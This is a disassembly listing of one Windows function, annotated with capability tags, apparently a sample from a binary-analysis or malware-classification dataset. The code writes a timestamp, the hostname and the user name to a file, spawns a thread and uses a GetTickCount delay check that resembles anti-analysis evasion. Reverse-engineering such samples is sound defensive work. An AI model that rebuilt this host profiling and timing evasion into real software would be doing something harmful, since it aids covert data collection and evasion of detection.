Function at 0x403b72
Capabilities:
Check for time delay via gettickcount
Create thread
Get hostname
Get session user name
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8ac
push ebx
push esi
lea eax, [ebp - 0x4ac]
push edi
push eax
mov dword [ebp - 0x4ac], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
cmp dword [ebp - 0x49c], 1
mov dword [0x406624], edx
mov dword [0x406514], eax
jne 0x403f72
push dword [ebp + 0x10]
mov esi, 0x100
mov ecx, esi
xor eax, eax
lea edi, [ebp - 0x8ac]
push edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x8ac]
xor edi, edi
push 0x400
push eax
mov dword [ebp - 4], edi
call fcn.004038cc
add esp, 0x10
test eax, eax
je 0x403f6d
push edi
push 0x80
push 4
push edi
push 1
lea eax, [ebp - 0x8ac]
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
mov dword [ebp - 8], ebx
je 0x403f5e
push 2
push edi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0xc]
push eax
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x10]
push eax
movzx eax, word [ebp - 0x12]
push eax
movzx eax, word [ebp - 0x16]
push eax
movzx eax, word [ebp - 0x18]
push eax
lea eax, [ebp - 0x418]
push str._04d
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
lea eax, [ebp - 4]
or ecx, 0xffffffff
push edi
push eax
lea edi, [ebp - 0x418]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [ebp - 0x418]
push ecx
push eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
call ebx
mov ecx, esi
xor eax, eax
lea edi, [ebp - 0x418]
mov dword [ebp - 4], 0x3ff
rep stosd dword es:[edi], eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov edi, 0x4063d0
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x418]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 4]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x418]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [ebp - 0x418]
push ecx
push eax
push dword [ebp - 8]
call ebx
mov ecx, 0x100
xor eax, eax
lea edi, [ebp - 0x418]
mov dword [ebp - 4], 0x3ff
rep stosd dword es:[edi], eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov edi, 0x4063d0
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x418]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 4]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor esi, esi
lea edi, [ebp - 0x418]
push esi
push eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [ebp - 0x418]
push ecx
push eax
push dword [ebp - 8]
call ebx
cmp dword [ebp + 0xc], 1
jne 0x403ee3
mov ecx, 0x100
xor eax, eax
lea edi, [ebp - 0x418]
lea edx, [ebp - 0x418]
rep stosd dword es:[edi], eax
mov edi, str.SeP
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 4], 0x3ff
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [ebp + 0x10]
and ecx, 3
cmp byte [eax + 0x410], 0x30
rep movsb byte es:[edi], byte [esi]
lea edi, [eax + 0x410]
je 0x403e24
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x418]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x418]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x4063c0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp + 0x10]
cmp byte [eax + 0x450], 0
lea edi, [eax + 0x450]
je 0x403e61
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x418]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x4063bc
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x418]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x418]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x4063d0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 4]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x418]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [ebp - 0x418]
push ecx
push eax
push dword [ebp - 8]
call ebx
xor esi, esi
mov edi, dword [ebp + 8]
lea eax, [ebp - 4]
push esi
push eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push dword [ebp + 8]
push dword [ebp - 8]
call ebx
lea eax, [ebp - 4]
push esi
mov edx, 0x4063b8
push eax
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push dword [ebp - 8]
call ebx
lea eax, [ebp - 4]
push esi
mov edx, 0x406628
push eax
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push dword [ebp - 8]
call ebx
lea eax, [ebp - 4]
push esi
mov edx, 0x4063b4
push eax
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push dword [ebp - 8]
call ebx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp + 0xc], 1
jne 0x403f6d
push dword [ebp + 0x10]
call fcn.0040403a
pop ecx
pop edi
pop esi
pop ebx
leave
ret
lea eax, [ebp - 8]
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0x10]
push 0x404785
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov dword [ebp + 8], eax
cmp dword [0x406620], ebx
jne 0x403f5e
lea edi, [ebp - 0x8ac]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 0xf
ja 0x403fbb
mov dword [0x406620], 1
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
sub eax, dword [ebp + 8]
cmp eax, 0x493e0
jbe 0x403f94
mov dword [0x406620], 1
jmp 0x403f94